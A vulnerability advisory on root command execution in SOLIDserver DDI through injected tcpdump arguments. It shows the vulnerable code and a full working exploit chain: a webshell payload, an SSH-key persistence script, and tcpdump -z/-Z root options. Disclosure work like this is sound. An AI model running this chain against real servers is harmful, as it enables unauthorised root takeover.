SOLIDserver DDI - Remote Command Execution as root

18/02/2026 - Download

Product

efficient iP - SOLIDserver DDI

Severity

High

Fixed Version(s)

8.4.7a

Affected Version(s)

See section "Affected versions"

CVE Number

N/A

Authors

Thomas Lubishtani-Bizet

Pierre Milioni

Description

Presentation

SOLDserver DDI is a suite written in PHP that covers domain name system (DNS), dynamic host configuration protocol (DHCP), and IP address management (IPAM). It offers several levels of privileges, from simple users allowed to create DNS records, to application administrators able to configure the application, manage users or devices.

Issue(s)

When authenticated as administrator, several functionalities allow users to perform sensitive actions such as file read, file upload inside logs, network capture, etc. Due to missing validation of user-provided input, it is possible to execute arbitrary commands as root.

Affected versions

Version 8.4.3 is affected, and anterior versions are likely to be vulnerable as well.

Timeline

Date Description
2025.09.29 Contact of vendor via their contact form
2025.09.30 Advisory sent to vendor
2025.10.03 Security patch 8.4.7a release
2026.02.18 Public release

 

Technical details

Description

In the macro_system_tcpdump.php file, the pif, protocol, port and ip arguments (which are user-controlled) are directly concatenated to the final tcpdump command that is executed through the proc_open function.

────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: /usr/local/nessy2/share/php_service_RO/macro_system_tcpdump.php
───────┴────────────────────────────────────────────────────────────────────────────────────────────
  32   │ $file_to_write = '/tmp/tcpdump_file_' . $date . '.pcap';
  33   │
  34   │ $cpt = 0;
  35   │ $tcp_dump = 'exec tcpdump -w ' . $file_to_write . ' -s 0 -ni ' . $ipm_argv['pif'];
  36   │
  37   │ if ($ipm_argv['protocol'] != '')
  38   │   $tcp_dump .= " ".$ipm_argv['protocol'];
  39   │
  40   │ if ($ipm_argv['port'] != '')
  41   │ {
  42   │   $cpt = 1;
  43   │   $tcp_dump .= ' port ' . $ipm_argv['port'];
  44   │ }
  45   │
  46   │ if ($ipm_argv['ip'] != '')
  47   │ {
  48   │   if ($cpt != 0)
  49   │     $tcp_dump .= ' and';
  50   │   $tcp_dump .= ' host ' . $ipm_argv['ip'];
  51   │ }
  52   │
  53   │ ipm_debug('TCPDUMP COMMAND: '.$tcp_dump, 'tcpdump');
  54   │
  55   │ $descriptors = array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'w'));
  56   │ $proc = proc_open(escapeshellcmd($tcp_dump), $descriptors, $pipes);
───────┴───────────────────────────────────────────────────────────────────────────────────────────

 

Impact

Improper input validation can lead to a variety of issues. In the present case, this led to a command execution as root.

Indeed, user can choose what arguments will be added to the final tcpdump command. For instance adding another tcpdump argument into the ip HTTP parameter.

This added argument allows writing the captured packet to the desired destination.

POST /mod/ajax.php?action=wizard/wizardValid HTTP/2
Host: 172.16.0.10
Cookie: KEY_PHPSESSID=Apew[...]zLRCA%3D%3D; PHPSESSID=e************************6
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
[...]

ip=<@urlencode>0.0.0.0 -w /usr/local/nessy2/www/php/mod/disconnect.php<@/urlencode>&port=80&pif=hn1&protocol=&wizard=wizzard_script&current_page=1&wizzard_action=ok&php_name=macro_system_tcpdump.php&php_label=notif_macro_system_tcpdump&calling_page=mod_browse_export_dir&current_wizzard_id=706443772&predefined=&time=30

The -w parameter will tell the command where to write the result of the network capture. In this case, in the web root of the server, inside a .php file. Sending a malicious network packet containing a PHP webshell, will trigger the injection.

$ echo '<?php var_dump(shell_exec($_POST["cmd"])); ?>' | nc 172.16.0.10 80

Finally, requesting the webshell will execute commands as www-data.

POST /mod/disconnect.php HTTP/2
Host: 172.16.0.10
Cookie: KEY_PHPSESSID=kuEKFn[...]WNqej4hg%3D%3D; PHPSESSID=o************************h
[...]

cmd=ls


HTTP/2 200 OK
[...]

string(146) "ajax.php
classes
common
configure
connect.php
disconnect.php
[...]

Now that executing arbitrary commands can be achieved, it is possible to exploit other options of tcpdump to execute more complex commands as root. To do so, here is a script that writes an SSH key in root's home directory:

#!/bin/sh

mkdir -p /root/.ssh
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQA[...]6LOtNIaWAU1Fjv+2c4QJw==" >> /root/.ssh/authorized_keys
chmod 700 /root/.ssh
chmod 600 /root/.ssh/authorized_keys

Local file listing feature can be used to upload files in /data1/exports.

POST /mod/upload/upload.php HTTP/2
Host: 172.16.0.10
Cookie: KEY_PHPSESSID=kuEKFn[...]WNqej4hg%3D%3D; PHPSESSID=o************************h
Content-Type: multipart/form-data; boundary=----geckoformboundary57e6fa00f260a2791c1ea15db9c9ca0b
Content-Length: 2750
[...]

------geckoformboundary57e6fa00f260a2791c1ea15db9c9ca0b
Content-Disposition: form-data; name="move_path"

/data1/exports/
------geckoformboundary57e6fa00f260a2791c1ea15db9c9ca0b
Content-Disposition: form-data; name="tmp_upload_upload_file"; filename="upgrade"
Content-Type: application/octet-stream

#!/bin/sh

mkdir -p /root/.ssh
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQ[...]IaWAU1Fjv+2c4QJw==" >> /root/.ssh/authorized_keys
chmod 700 /root/.ssh
chmod 600 /root/.ssh/authorized_keys
------geckoformboundary57e6fa00f260a2791c1ea15db9c9ca0b
Content-Disposition: form-data; name="upload_file_local_name"

upgrade
------geckoformboundary57e6fa00f260a2791c1ea15db9c9ca0b--

Using the previously installed webshell, gave the execution permission to this script.

POST /mod/disconnect.php HTTP/2
Host: 172.16.0.10
Cookie: KEY_PHPSESSID=kuEKFn[...]WNqej4hg%3D%3D; PHPSESSID=o************************h
[...]

cmd=<@urlencode>chmod +x /data1/exports/upgrade<@/urlencode>

Another tcpdump command can be used to execute the uploaded script using the following inserted options:

  • -z /data1/exports/upgrade: will run the script in parallel of the network capture.
  • -Z root: tell the binary to not drop the privileges at execution.
  • -W 1: limit the file capture to one single file.
  • -G 1: time to save file, to overwrite existing network capture.
POST /mod/ajax.php?action=wizard/wizardValid HTTP/2
Host: 172.16.0.10
Cookie: KEY_PHPSESSID=kuEKFn[...]WNqej4hg%3D%3D; PHPSESSID=o************************h
[...]

ip=<@urlencode>0.0.0.0 -Z root -W 1 -G 1 -z /data1/exports/upgrade<@/urlencode>&port=80pif=hn1&protocol=&wizard=wizzard_script&current_page=1&wizzard_action=ok&php_name=macro_system_tcpdump.php&php_label=notif_macro_system_tcpdump&calling_page=mod_browse_export_dir&current_wizzard_id=706443772&predefined=&time=30

The filter applied to the capture operation must be precisely matched by the incoming packet. This filter is constructed using parameters supplied via the HTTP request:

  • Port (80).
  • Interface (hn1).
  • IP address (0.0.0.0).

The successful capture of a packet that matches these exact filter conditions is the necessary precursor to the termination of the network monitoring process, resulting in the execution of the uploaded bash script.

$ echo 'a' | nc 172.16.0.10 80

To make sure that the system is fully compromised, connecting as root using the written SSH key is now possible.

$ ssh -i ~/.ssh/id_rsa root@172.16.0.10 'ls'

.login
.ssh
root_dot_login

Recommendation

Update product to the last available version as vendor released a security patch in the version 8.4.7a.